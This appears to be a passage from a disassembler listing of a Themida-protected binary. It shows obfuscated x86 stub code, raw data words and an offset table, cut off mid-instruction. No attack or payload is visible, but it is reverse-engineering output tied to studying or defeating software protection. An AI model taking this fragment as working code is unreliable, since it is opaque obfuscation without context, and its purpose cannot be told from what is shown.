Themida_:00547CDDj not ebx neg ebx shl ebx, 6 sub ebx, 0C87A92F1h jmp loc_55106B ; --------------------------------------------------------------------------- loc_5517FE: ; CODE XREF: Themida_:00550383j neg eax add eax, 78FFBD36h jmp loc_550198 ; --------------------------------------------------------------------------- dw 0FC88h dd 0E958E188h, 0FFFF8A40h ; --------------------------------------------------------------------------- loc_551814: ; CODE XREF: Themida_:0054B5CDj xchg esi, [esp] jmp loc_54B373 ; --------------------------------------------------------------------------- loc_55181C: ; CODE XREF: Themida_:00551BE4j xor ebx, 556C7967h jmp loc_54F8E9 ; --------------------------------------------------------------------------- db 51h dd 0E9527FB5h, 0FFFF4D2Ah, 8038EE80h, 0CEFEAFEEh, 9E9E9h dd 40500h, 4050000h, 87000000h, 248B2404h, 24048724h, 0FFEF75E9h dd 0F4BA52FFh, 0E93F8C35h, 0FFFFA727h dword_551860 dd 8B2434FFh, 0C4832404h, 7D8E6804h, 0C890000h, 0AB0DE924h ; DATA XREF: Themida_:00546430o dd 0A4BFFFFFh, 8128414Eh, 0C33F9BEFh, 5FF92938h, 0C8BCB29h dd 0C0E95724h, 55FFFFC2h, 483D6853h, 2C890000h, 373A6824h dd 815D3F73h, 0A52CD9C5h, 5DEB89FBh, 0FF1AA968h, 0DD315D0Bh dd 5DE8015Bh, 8D5E9h db 0 ; --------------------------------------------------------------------------- loc_5518B9: ; CODE XREF: Themida_:0054E6FEj mov ecx, [esp] sub esp, 4 mov [esp], esi jmp loc_54DF9E ; --------------------------------------------------------------------------- loc_5518C7: ; CODE XREF: Themida_:00548E22j xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], esi mov esi, 1 push edx jmp loc_54FE3D ; --------------------------------------------------------------------------- dw 0E8C0h dd 0C0533405h, 712C04E8h, 0FFD85DE9h, 2434FFFFh, 4C4815Dh dd 81000000h, 4D510DE3h, 0ACE38124h, 510E2833h, 0F70197B9h dd 6BF18167h, 2963F701h, 0DF0159CBh, 0FF97FCE9h, 7EEC1FFh dd 0FF5277E9h db 0FFh ; --------------------------------------------------------------------------- loc_551921: ; CODE XREF: Themida_:0054A7C8j mov bl, 69h neg bl jmp loc_547583 ; --------------------------------------------------------------------------- dw 0B050h dd 0CD66E9A7h, 0E404FFFFh, 0FF8AA3E9h, 59EA20FFh, 6633C280h dd 66374C68h, 0B4240489h, 66E32815h, 80D32858h, 0F5A15C3h dd 8B66C0B6h, 81572414h, 4ECh, 24248900h, 4240483h, 2DED685Fh dd 14890000h, 4BA24h, 0C7810000h, 341035D4h, 7871C781h dd 0D70101D5h, 7871EF81h, 0EF8101D5h, 341035D4h, 2F1F685Ah dd 0B0E90000h, 81FFFFBCh, 4C4h, 5BFC8800h, 0B6D1B753h dd 5BFE2893h, 0D4F6E686h, 88E58851h, 59EE88F4h, 0FFF028E9h db 0FFh ; --------------------------------------------------------------------------- loc_5519BD: ; CODE XREF: Themida_:00549E13j mov ebx, edx pop edx push esi mov esi, 2EC159CCh and esi, 1E4C79A9h dec esi sub esi, 5D929901h jmp loc_54C175 ; --------------------------------------------------------------------------- dd 33240431h, 815C2404h, 4C1h, 2BD5500h, 1000000h, 0C335DE9h dd 7BAAE924h, 0E883FFFFh, 24048704h, 243C895Ch, 55535F54h dd 8C6BBEBDh, 4CF5816Eh, 81488B74h, 0FE27F1C5h, 0E9EB8925h dd 0FFFFFED1h ; --------------------------------------------------------------------------- loc_551A1C: ; CODE XREF: Themida_:00551B82j pop eax sub esi, 1 sub esi, 650D2025h jmp loc_550FAF ; --------------------------------------------------------------------------- db 4Eh dd 0E3B5E953h, 0E9C1FFFFh, 2F18107h, 2922CF3Dh, 28E959CEh db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551A43: ; CODE XREF: Themida_:0054A4AEj push ebx jmp loc_549ED5 ; --------------------------------------------------------------------------- loc_551A49: ; CODE XREF: Themida_:00547E0Dj mov al, 15h mov bl, 0ECh add bl, al pop eax add cl, 9Eh add cl, bl jmp loc_54A489 ; --------------------------------------------------------------------------- dw 0A9BFh dd 817FD95Ah, 4C5D4FF7h, 5FF9316Dh, 5249D1F7h, 126F17BAh dd 81D2F748h, 7E793FEAh, 65E9427Ch, 68FFFF90h, 20A8h, 89243C89h dd 0E95350E7h, 0FFFFC4F3h ; --------------------------------------------------------------------------- loc_551A90: ; CODE XREF: Themida_:0054B5D9j push 6130h jmp loc_546F50 ; --------------------------------------------------------------------------- dw 54F6h dd 5A660124h, 0C6E9DEF6h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551AA7: ; CODE XREF: Themida_:00549A11j xchg esi, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], edi mov edi, 1 sub esp, 4 jmp loc_54B63D ; --------------------------------------------------------------------------- dword_551AC4 dd 24048B66h, 4EC81h, 34890000h, 0DDE95024h, 56FFFF84h ; DATA XREF: Themida_:00546380o dd 0BA525E54h, 4, 0E95AD601h, 0FFFF7BD6h, 735EBA52h, 0C2811F68h dd 0D7F6823h, 83E8EA81h, 0D089F2FCh, 0A5BABB5Ah, 0C329B5AFh dd 65D5E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551B0A: ; CODE XREF: Themida_:0054B82Ej mov eax, 69A74E25h sub esi, eax pop eax mov eax, esi jmp loc_54E136 ; --------------------------------------------------------------------------- db 68h, 0B6h, 7Ah dd 1C890000h, 67B85024h, 0F70F202Ah, 437525D0h, 3E91554h dd 66FFFFF4h, 8124048Bh, 2C4h, 240C8B00h, 5104C483h, 0C44E9h dd 0C1D5F700h, 0B5E907E5h, 58FFFF56h, 8B24048Fh, 0EC832424h dd 241C8904h, 0B951E389h, 4, 0E959CB01h, 0FFFF7302h ; --------------------------------------------------------------------------- loc_551B70: ; CODE XREF: Themida_:0054DA10j xchg edi, [esp] pop esp push esi mov esi, 27D54F95h push eax mov eax, 4A7C184Fh add esi, eax jmp loc_551A1C ; --------------------------------------------------------------------------- db 66h dd 0B646E950h, 0E589FFFFh, 0FF9EAEE9h db 0FFh ; --------------------------------------------------------------------------- loc_551B95: ; CODE XREF: Themida_:00549D4Fj mov ebp, 76DD693Eh shl ebp, 2 push eax push ebp push 143A6904h jmp loc_54887C ; --------------------------------------------------------------------------- db 81h, 0C2h, 0A7h dd 89A23E2Bh, 0FE295AD7h, 0B2C6815Fh, 812B0620h, 282300E6h dd 0F3C68123h, 81783910h, 4A46D4EBh, 56F32960h, 6C147BBEh dd 6E62E914h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551BDA: ; CODE XREF: Themida_:005527CAj pop edx pop dword ptr [edi+24h] push ebx mov ebx, 2CC73C44h jmp loc_55181C ; --------------------------------------------------------------------------- db 52h, 0BAh, 0F4h dd 893F8C35h, 0CA295AD1h, 83240C8Bh, 348B04C4h, 4C48124h dd 0E9000000h, 0FFFF843Ch ; --------------------------------------------------------------------------- loc_551C08: ; CODE XREF: Themida_:00546FECj pop esp mov [esp], esi push eax mov eax, 573D6FE3h mov esi, 6EF600Ch add esi, eax jmp loc_54A25C ; --------------------------------------------------------------------------- loc_551C1E: ; CODE XREF: Themida_:00548CF0j pop eax dec ebx xor ebx, 3DFA2745h or ebx, 5CED2A95h sub ebx, 5EFD6BF9h jmp loc_5499FE ; --------------------------------------------------------------------------- db 83h dd 48F04C4h, 24248B24h, 9C243CD3h, 0FF48A2E9h, 0A9E95BFFh dd 5CFFFFDFh, 24048B66h, 8904EC83h, 3CE9242Ch db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551C5F: ; CODE XREF: Themida_:00547B79j add esp, 4 shr eax, 0Bh jmp loc_54BAC9 ; --------------------------------------------------------------------------- dw 0C89h dd 2474FF24h, 67E95904h db 75h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551C77: ; CODE XREF: Themida_:0054FA28j pop esi jmp loc_55086A ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 23B82404h, 0F7088F67h, 4ABD55D0h, 0F7329330h dd 17F581DDh, 29F95C92h, 0BB535DE8h, 5AFB14B5h, 1C8BD821h dd 4C48324h, 33F1BF57h, 0C5E9179Dh, 52FFFFF7h, 0AF464ABAh dd 0F7D2F761h, 3CB850DAh, 407AE835h, 56376205h, 58C231A3h dd 295AD689h, 24348BF0h, 0E904EC83h, 0FFFF8050h, 8924248Bh dd 0BF57242Ch, 1, 0FF9E45E9h, 1C8758FFh, 50D7E924h, 248BFFFFh dd 24040024h, 47E5E99Ch, 0C481FFFFh, 4, 0C381FB01h, 7B6111F3h dd 0EF5CE95Fh, 0BF57FFFFh, 243D2073h, 1A50F781h, 93E91C1Ch dd 81FFFFE4h, 4C4h, 24143300h, 0E9241431h, 0FFFFFA94h dd 52E78957h, 1476F8BAh, 6857530Dh, 723A7949h, 5289E95Fh dd 0C8BFFFFh, 4C48324h, 4BF57h, 0F8010000h, 5F2434FFh dd 4C481h, 4330000h, 24043124h, 5C240433h, 0B415E955h dd 0E95FFFFFh, 0FFFF55FCh, 45D9E781h, 0DFF7157Fh, 0AEF78147h dd 815E7856h, 0B1A845EFh, 8BFD89B5h, 8950243Ch, 405E0h dd 2FE90000h, 1FFFF7Bh, 0C78159CFh, 4, 5C243C87h, 0FFFD1EE9h db 0FFh ; --------------------------------------------------------------------------- loc_551DB9: ; CODE XREF: Themida_:00550234j mov eax, [esp] add esp, 4 push 2958h mov [esp], edx jmp loc_5469C3 ; --------------------------------------------------------------------------- db 81h dd 8D6888F5h, 0E7ED810Eh, 0E926F830h, 0FFFFF292h, 81241C8Bh dd 4C4h, 0F5EA8100h, 15D7F7Eh, 0C7815AD7h, 2, 0E9243C87h dd 8C5h, 0D017AD2Dh, 241C8B7Ah, 5E08950h, 4, 0E904C083h dd 0FFFFAE16h, 88ECED81h, 0EE011652h, 0FFDB65E9h, 241489FFh dd 4116B951h, 0F74948BAh, 1EE981D1h, 89839FA2h, 240C8BCAh dd 5E08950h, 4, 405h, 0D0C9E900h, 0E95FFFFFh, 0FFFF70E5h ; --------------------------------------------------------------------------- loc_551E54: ; CODE XREF: Themida_:0054C85Dj push esi jmp loc_547D4E ; --------------------------------------------------------------------------- dw 805Bh dd 0C68039EDh, 80EE00F6h, 34FFF6EEh, 0C4815924h, 4, 0D053CE80h dd 5DE953E6h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551E7B: ; CODE XREF: Themida_:0054CB00j push esp pop ebp add ebp, 4 sub ebp, 4 jmp loc_551026 ; --------------------------------------------------------------------------- dw 3C89h dd 378BF24h, 37E95F7Bh, 59FFFFCAh, 4649E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551EA2: ; CODE XREF: Themida_:00546669j push esi mov esi, 0FFFFFFFFh jmp loc_5466A1 ; --------------------------------------------------------------------------- db 5Fh, 1, 0D8h dd 765A4605h, 17BE5663h, 8355CC22h, 0C8904ECh, 3CAAB924h dd 0E9C10671h, 53B9E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551ECE: ; CODE XREF: Themida_:005517BEj pop dword ptr [edi+20h] jmp loc_54E263 ; --------------------------------------------------------------------------- dw 0E781h dd 39893650h, 0FFD89BE9h, 0E9CA28FFh, 0FFFFD3ABh, 0E936CA80h dd 0FFFFE09Bh, 0F667B753h, 66C7FEDFh, 2817B050h, 5866C7h dd 0B2E95BFCh, 55FFFFB1h, 54F5B850h, 0D8F766D9h, 15074405h dd 4F9AE97Dh, 0D3F6FFFFh, 6602EC83h, 88240C89h, 88D388DDh dd 0C8B66EAh, 80BBE924h db 2 dup(0FFh) word_551F32 dw 8B66h ; DATA XREF: Themida_:0054648Co dd 8957240Ch, 0BBB2E9E7h, 9C50FFFFh, 0FF70B2E9h db 0FFh ; --------------------------------------------------------------------------- loc_551F45: ; CODE XREF: Themida_:0054CDB5j neg esi xchg esi, ebp jmp loc_54B849 ; --------------------------------------------------------------------------- dw 0C280h dd 0E9C52C1Bh, 0FFFF5997h, 0EB3053B5h, 0FF9A6EE9h, 0E9D828FFh dd 0FFFF532Dh, 0EB801CB3h, 0C0C3FE06h, 0B55108E3h, 0BCAFE900h dd 0C981FFFFh, 72506E74h, 8108E1C1h, 0C4333EE9h, 0E4BA5242h dd 31C974A8h, 4B55E9D1h, 0CDFEFFFFh, 0D007C580h, 4EC81E5h dd 89000000h, 6EB62414h, 0FF6673E9h db 0FFh ; --------------------------------------------------------------------------- loc_551FAD: ; CODE XREF: Themida_:0054CDCCj add esp, 4 jmp loc_5506A8 ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFF452Bh ; --------------------------------------------------------------------------- loc_551FC0: ; CODE XREF: Themida_:0054F551j xor ebx, edi pop edi xor ecx, ebx pop ebx mov ebx, ecx pop ecx and eax, ebx push dword ptr [esp] pop ebx jmp loc_54B5D2 ; --------------------------------------------------------------------------- dd 0DDE9C101h, 81FFFF8Dh, 9084FC6h, 0B633E94Eh, 0E950FFFFh dd 2B4h, 4C481h, 89500000h, 4EA3E9E0h, 0FA01FFFFh, 4EA835Fh dd 5C241487h, 0BF243C89h, 44F227BCh, 2BC7814Fh, 0C1028973h dd 0F78104EFh, 477B9AAh, 4665EA81h, 0FA013E71h, 4665C281h dd 0E95F3E71h, 0FFFF63EAh, 0E9243489h, 0FFFFB4ACh dword_552038 dd 240C8B66h, 4EC81h, 32E90000h ; DATA XREF: Themida_:00546268o db 62h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552047: ; CODE XREF: Themida_:00547445j xchg edi, [esp] mov esp, [esp] push ecx mov ecx, esp add ecx, 4 push esi mov esi, 4 sub ecx, 40AC5B73h jmp loc_54C366 ; --------------------------------------------------------------------------- db 0F7h dd 1ED81DDh, 81000000h, 0E202D2C5h, 251C6810h, 0C890000h dd 51F5E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552082: ; CODE XREF: Themida_:0054F940j add eax, 4 push ebx mov ebx, 4 sub eax, ebx mov ebx, [esp] add esp, 4 xchg eax, [esp] pop esp jmp loc_5474F0 ; --------------------------------------------------------------------------- db 66h, 89h, 4 dd 4441E924h, 34FFFFFFh, 6E8FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5520B2: ; CODE XREF: Themida_:0054DAAAj add ebx, ecx pop ecx mov edx, ebx push dword ptr [esp] jmp loc_54745E ; --------------------------------------------------------------------------- loc_5520BF: ; CODE XREF: Themida_:0054C247j sub [esp+8], ebp pop ebp add [esp+4], eax jmp loc_5516CE ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 921AF2B9h, 0BD555254h, 60BB0FBCh, 815DEA89h, 4ECh, 243C8900h dd 0FDE170BFh, 5FE956ECh db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5520F3: ; CODE XREF: Themida_:0054EF4Fj xchg ebp, [esp] pop esp jmp loc_5515C2 ; --------------------------------------------------------------------------- dd offset unk_4DF480 dd 24048BE7h, 0E904C483h, 0FFFFD410h, 0FF43DAE9h, 0F6EF86FFh dd 0EA8852D5h, 78E9FD88h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55211F: ; CODE XREF: Themida_:00548F79j push eax jmp loc_54F93E ; --------------------------------------------------------------------------- db 0C1h, 0EFh, 8 dd 0FFE823E9h, 241487FFh, 24048F5Ch, 0FFC716E9h, 61BE56FFh dd 461C4553h, 1038EE81h, 0E6C101B1h, 0D110E902h, 4FBDFFFFh dd 199D1D9h, 24048BC5h, 81E68956h, 4C6h, 4C68300h, 0E9243487h dd 0FFFF7A01h, 8106E9C1h, 4E790AC1h, 59C82948h, 6CE9E829h dd 1FFFF5Fh, 0C7A4E9CFh, 0DA01FFFFh, 0A808E95Bh, 0E951FFFFh dd 0FFFF7C8Dh dword_552194 dd 24048B66h, 56E08950h, 6B7FC1BEh, 1CF7566Ah, 0E6815E24h ; DATA XREF: Themida_:0054645Co dd 15101A51h, 1CB1684Eh, 2C890000h, 0DDABD24h, 0E5D10C41h dd 627EE581h, 0C14D4A92h, 0F58105EDh, 15541005h, 2D5DEE31h dd 6FEE22C6h, 0FFAE5CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5521D9: ; CODE XREF: Themida_:0055097Dj push edi push eax jmp loc_550FD9 ; --------------------------------------------------------------------------- loc_5521E0: ; CODE XREF: Themida_:0054A8F3j not ecx shr ecx, 5 jmp loc_54D14D ; --------------------------------------------------------------------------- dw 0E95Eh dd 0FFFF9F1Dh ; --------------------------------------------------------------------------- loc_5521F0: ; CODE XREF: Themida_:0054E76Fj sub [esp], edi pop edi sub edi, 49881D69h and eax, edi push dword ptr [esp] pop edi push esi jmp loc_5527D7 ; --------------------------------------------------------------------------- dw 0C201h dd 7004C281h, 0C281575Ch, 6417627Eh, 668EC281h, 0CCE95D81h db 42h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55221F: ; CODE XREF: Themida_:0054AA50j pop esi push ebx jmp loc_54CDC7 ; --------------------------------------------------------------------------- dw 0DEF6h dd 0FFDC75E9h, 0E9525EFFh, 0FFFFF349h, 0E9240C89h, 0FFFF71A2h dd 19B85052h, 25038374h, 7CC42075h, 2D01E883h, 80200Ch dd 0FF74A3E9h, 72EF81FFh, 814DF156h, 2A2B9EC6h, 81FE2904h dd 2A2B9EEEh, 81565F04h, 174F2434h, 81595835h, 35174FF1h dd 0C9815E58h, 57251D64h, 0ECEE981h, 0CF89441Ah, 81240C8Bh dd 4C4h, 0FFBEBA00h, 0FA29AEBAh, 0E9243C8Bh, 0FFFFC657h dd 405E089h, 2D000000h, 4, 8B240487h, 4892424h, 5E08924h dd 4, 8704C083h, 248B2404h, 0EA23E924h, 0C381FFFFh, 4 dd 0E904C383h, 0FFFF6DDFh, 2CC468h, 24248900h, 1B4E9h dd 2C48300h, 0E0DFE956h, 74FFFFFFh, 348B0424h, 0E2895224h dd 4C281h, 0F6E90000h, 83FFFF44h, 248904ECh, 24048124h dd 4, 4C7815Fh, 56000000h, 4A32BB53h, 0DBF7172Dh, 0FF7C3FE9h dd 2DC801FFh, 4CA068E9h, 0FA65352Dh, 0E055977h, 0FF32EA4Ah dd 815D2434h, 4C4h, 26BE5600h, 0E96E7027h, 0FFFFCC69h dd 81E38953h, 4C3h, 4C38300h, 5C241C87h, 49EE9h, 24048100h dd 481C76ECh, 8324348Bh, 0EE8104C4h, 481C76ECh, 0B2C28159h dd 2916DD22h, 0B0BCE9F2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552382: ; CODE XREF: Themida_:005468FEj pop edi push ebp jmp loc_54D240 ; --------------------------------------------------------------------------- db 0C0h, 0E2h, 4 dd 80CCF280h, 0EC8142EAh, 4, 0B3241C89h, 5967E971h, 0EC83FFFFh dd 240C8904h, 95483CB9h, 15E95216h, 5CFFFFA4h, 0FF8880E9h dd 13C568FFh, 1C890000h, 0C06FB724h, 0F78005EFh, 1C78029h dd 0FFC34EE9h, 4C683FFh, 2474FF56h, 9AE95E04h db 0A8h, 2 dup(0FFh) byte_5523DF db 68h ; DATA XREF: Themida_:00546314o dd 72BAh, 54242C89h, 417AE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5523EE: ; CODE XREF: Themida_:00550798j dec edx push esi jmp loc_54FA1B ; --------------------------------------------------------------------------- db 89h, 0E0h, 5 dd 4, 42Dh, 24048700h, 8924248Bh, 38B82404h, 52656111h dd 0F92A3CBAh, 0FFD1897Fh, 0FEE92434h db 0BCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55241F: ; CODE XREF: Themida_:00549D2Bj mov edx, 76824D3Bh inc edx shr edx, 8 or edx, 775722CEh and edx, 63A8379Ch xor edx, 704314D1h add edx, 0C2F1D2Fh sub ebp, edx jmp loc_54FAFD ; --------------------------------------------------------------------------- db 53h dd 0C381E389h, 4, 4C381h, 1C870000h, 24248B24h, 0FF971FE9h dd 54B050FFh, 0D0F6C0FEh, 0FFDE08E9h, 0E9F701FFh, 0FFFF5931h dd 8B5DEA01h, 0C4832434h, 0C2835F04h, 24143302h, 33241431h dd 665C2414h, 6824048Bh, 6D85h, 0FFE6C8E9h, 240483FFh dd 4055804h, 52000000h, 2BAh, 20790500h, 0EF05557Bh, 1506F47h dd 0EFBF57D0h, 29506F47h, 792D5FF8h, 8B557B20h, 89532414h dd 0BDAEE9E3h, 3487FFFFh, 4F685C24h, 0E9000005h, 0FFFFE47Ch dd 0D224248Bh, 0E99C240Ch, 0FFFFCF4Fh ; --------------------------------------------------------------------------- loc_5524E8: ; CODE XREF: Themida_:005473BEj pop edx push 1AF0h mov [esp], ebp mov ebp, esp add ebp, 4 push edi jmp loc_550910 ; --------------------------------------------------------------------------- db 0BFh dd 59667D34h, 0AB7318B9h, 5FF9313Fh, 0F548E957h, 6853FFFFh dd 0DAC107Dh, 2DCB815Bh, 0E9455121h, 0FFFFBB54h, 3B4168h dd 24248900h, 4BD55h, 6C010000h, 2C8B0424h, 0EEB6E924h dd 0E0C1FFFFh, 116C2505h, 0E0C1742Bh, 0AF79E907h, 0E1C1FFFFh dd 2E1C102h, 48E5C981h, 98681345h, 89000071h, 14F7240Ch dd 0C1815924h, 0CDD1629Dh, 34FFCE89h, 0C4815924h, 4, 0FF8444E9h dd 0C3835DFFh, 241C8704h, 0FFC7B0E9h, 7EFC0FFh, 6DB252h dd 24148BD7h, 0FFBCF1E9h, 244481FFh, 0C45B7804h, 246C297Bh dd 246C8104h, 0C45B7804h, 242C8B7Bh, 6804C483h, 6A6Ch dd 0E9240489h, 0FFFF54F5h ; --------------------------------------------------------------------------- loc_5525C0: ; CODE XREF: Themida_:0054E66Aj mov edi, 65035E85h sub eax, edi pop edi sub eax, 0C42923Dh sub ebp, eax pop eax add ecx, ebp jmp loc_54BBAA ; --------------------------------------------------------------------------- db 0B9h dd 60BD3296h, 7110E181h, 0D9F73701h, 0FF7F21E9h, 24248BFFh dd 0E9240C89h, 0FFFFBFD7h ; --------------------------------------------------------------------------- loc_5525F4: ; CODE XREF: Themida_:00551661j push 7F82h mov [esp], ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp jmp loc_54EDD9 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 86E3E900h, 2C31FFFFh, 242C3324h, 2024248Bh, 0E99C2404h dd 0FFFF5071h dword_55262C dd 24048B66h, 8904EC83h, 39E9243Ch, 0FEFFFF97h, 42C580CDh ; DATA XREF: Themida_:005462ECo dd 0FF453FE9h, 4BDFFh, 0C6810000h, 968628Ch, 0EE81EE01h dd 968628Ch, 4C6815Dh, 56000000h, 42474FFh, 24048F5Eh dd 0FFC733E9h, 0A1EB81FFh, 10DC67Ah, 0A1C381FBh, 5F0DC67Ah dd 31241C33h, 1C33241Ch, 0AC685C24h, 89000043h, 0EC81240Ch dd 4, 0B0240489h, 58C1885Dh, 39E9CB28h, 0BFFFFFBCh, 2546965Eh dd 2D5FFD31h, 0AD479E3h, 0FF8822E9h db 0FFh ; --------------------------------------------------------------------------- loc_5526B5: ; CODE XREF: Themida_:00547589j add bl, 2Bh jmp loc_5476C1 ; --------------------------------------------------------------------------- db 31h, 2Ch, 24h dd 0FF7B29E9h, 24248BFFh, 24148B66h, 0FF51B7E9h, 0E95B66FFh dd 0FFFF5484h, 8106EEC1h, 0D35100F6h, 36F68155h, 8910F067h dd 0D0015EF2h, 6F3D055Ah, 0F82942EBh, 6F3DBF57h, 0F82942EBh dd 81243C8Bh, 4C4h, 37BF2D00h, 295F4496h, 0BF305D8h, 0BE564B1Dh dd 6A45352h, 0A4FAC681h, 0EC8113BCh, 4, 0BE243489h, 16B3628Bh dd 295EF001h, 0BF5753F0h, 364D4016h, 815FFB89h, 1C3h, 0D3F74B00h dd 93F3814Bh, 51799929h, 3DF6BB53h, 5EE9178Ch, 5FFFFFB2h dd 4C781h, 76E90000h, 8BFFFF59h, 0C4832404h, 57C20104h dd 3262FBFh, 87C7814Bh, 121774Fh, 0EE14E9FAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55277E: ; CODE XREF: Themida_:0054F172j sub eax, 2EA6EDAh push 840h jmp loc_548C3E ; --------------------------------------------------------------------------- db 68h, 0DCh, 30h dd 14890000h, 95A3E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55279A: ; CODE XREF: Themida_:0054F5FCj add esp, 4 sub esp, 4 mov [esp], edx push 436Ah mov [esp], edx push ecx push 424D27E5h pop ecx sub ecx, 0C8A1E2C2h mov edx, ecx mov ecx, [esp] add esp, 4 add [esp+4], edx jmp loc_551BDA ; --------------------------------------------------------------------------- loc_5527CF: ; CODE XREF: Themida_:00548E48j xor [esp], edx jmp loc_54FDA0 ; --------------------------------------------------------------------------- loc_5527D7: ; CODE XREF: Themida_:00552201j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_546768 ; --------------------------------------------------------------------------- db 52h, 8Bh, 4 dd 4C48124h, 0FF000000h, 525A2434h, 0CDE95A54h, 8FFFF5Dh dd 0E95966EEh, 0FFFFF122h, 8BC8295Eh, 0C483240Ch, 4EC8104h dd 89000000h, 0A1E9242Ch, 87FFFF74h, 248B2404h, 2434FF24h dd 0FFEC64E9h, 7CEA81FFh, 0E9DAA800h, 0FFFF49C0h, 4C481h dd 5B570000h, 0C9EB815Fh, 1214F07h, 0EC815BDFh, 4, 0FF7C8AE9h dd 0C335AFFh, 240C3124h, 5C240C33h, 0E99CC83Bh, 0FFFF3C83h dd 36E5BA52h, 0EA81587Dh, 18E7E02h, 940DF281h, 0D5013F7Ch dd 0FFAF45E9h db 0FFh ; --------------------------------------------------------------------------- loc_552881: ; CODE XREF: Themida_:0054ECF7j add edx, 2A747FDh xor edx, 782DEE8Fh mov ebp, edx jmp loc_550521 ; --------------------------------------------------------------------------- dd offset dword_5A719C dd 0FFFF8D8Dh, 805B359Bh, 5A66FCh, 0 dd 0F71EE5CEh, 57F892h, 217h, 2, 1, 4, 0F71EE5CEh, 5 dup(0) dd offset dword_55E970 dd offset byte_564BDB dd offset word_563B8E dd offset word_55E302 dd offset word_5532CA dd offset byte_56772F dd offset off_562EF7 dd offset byte_5612D7 dd offset byte_5655FD dd offset dword_55EA44 dd offset byte_566687 dd offset byte_556A49 dd offset byte_5568E3 dd offset word_55FF26 dd offset byte_55C62F dd offset off_5652CF dd offset word_558DE2 dd offset byte_5647C3 dd offset word_557572 dd offset word_552FEA dd offset byte_565A09 dd offset dword_55DC3C dd offset byte_55D3D3 dd offset byte_561019 dd offset word_5600A2 dd offset word_55C246 dd offset dword_567900 dd offset byte_56036F dd offset word_56605E dd offset dword_552D9C dd offset aM0Hjv ; "╛0ьh╕V" dd offset dword_55F9A0 dd offset byte_55CD4B dd offset byte_55CBB9 dd offset dword_5592B8 dd offset byte_55D2A9 dd offset byte_55B521 dd offset byte_5583DB dd offset byte_563EAB dd offset dword_55722C dd offset byte_5555AD dd offset dword_55EC24 dd offset word_5579A2 dd offset byte_55B99B dd offset byte_562A21 dd offset word_553116 dd offset byte_567B59 dd offset byte_5604A1 dd offset word_55F76E dd offset byte_55A0EF dd offset word_55B122 dd offset word_55AC2A dd offset dword_55862C dd offset byte_56239B dd offset byte_55BD49 dd offset word_55D432 dd offset byte_56061D dd offset word_5592EE dd offset aMhW ; "╛h╫W" dd offset byte_564837 dd offset byte_556CC7 dd offset word_55EA22 dd offset byte_564CC3 dd offset word_560A12 dd offset dword_562D88 dd offset dword_557D4C dd offset word_563D6E dd offset byte_5593E5 dd offset byte_565897 dd offset byte_564A79 dd offset byte_561AAF dd offset dword_557250 dd offset byte_5542C9 dd offset byte_5581B1 dd offset byte_557A1F dd offset word_55B83E dd offset dword_5555B8 dd offset dword_55F838 dd offset byte_553341 dd offset word_564696 dd offset dword_5661CC dd offset word_567056 dd offset word_556DCE dd offset word_55E06A dd offset word_556336 dd offset dword_55CBF8 dd offset word_55BB1E dd offset byte_55DC6B dd offset aNwhu ; "╜WhН\b" dd offset byte_554443 dd offset off_5584A6 dd offset dword_5672AC dd offset dword_556BC8 dd offset byte_565F43 dd offset word_5580A2 dd offset byte_56542F dd offset dword_568228 dd offset byte_559C9F dd offset byte_561EEB dd offset word_55770A dd offset dword_562964 dd offset word_564706 dd offset dword_55B570 dd offset byte_55402D dd offset word_55D0C6 dd offset byte_563317 dd offset word_564456 dd offset byte_563883 dd offset byte_557727 dd offset byte_55DD89 dd offset dword_557BCC dd offset word_55AD32 dd offset byte_554403 dd offset word_556802 dd offset word_55BE8A dd offset byte_55611D dd offset byte_561E7F dd offset word_561DF6 dd offset dword_563924 dd offset dword_55314C dd offset dword_562EE0 dd offset dword_559F34 dd offset byte_563E8F dd offset byte_556D29 dd offset byte_564EE7 dd offset dword_55C9E4 dd offset dword_55F534 dd offset byte_5680C1 dd offset word_55450E dd offset byte_5603E7 dd offset byte_565745 dd offset byte_566675 dd offset byte_55932B dd offset byte_555465 dd offset byte_562BFD dd offset byte_55904D dd offset word_566076 dd offset byte_557EB1 dd offset byte_55B4AB dd offset byte_55BC17 dd offset aM0H? ; "╛0ьh?," dd offset dword_553718 dd offset dword_55C648 dd offset byte_553E43 dd offset byte_55F027 dd offset aHs ; "hS;" dd offset word_563C2A dd offset byte_55C86B dd offset word_566C62 dd offset byte_565F61 dd offset word_55BE1A dd offset byte_564729 dd offset dword_560030 dd offset byte_56384D dd offset dword_562B1C dd offset word_55EF16 dd offset byte_561BB9 dd offset word_559362 dd offset dword_56610C dd offset byte_563F41 dd offset word_55819A dd offset word_554CBE dd offset byte_564D97 dd offset byte_55AAE1 dd offset word_554EE2 dd offset dword_559A8C dd offset byte_556C13 ; --------------------------------------------------------------------------- loc_552B74: ; CODE XREF: Themida_:005A1801j pusha pushf cld call $+5 pop edi sub 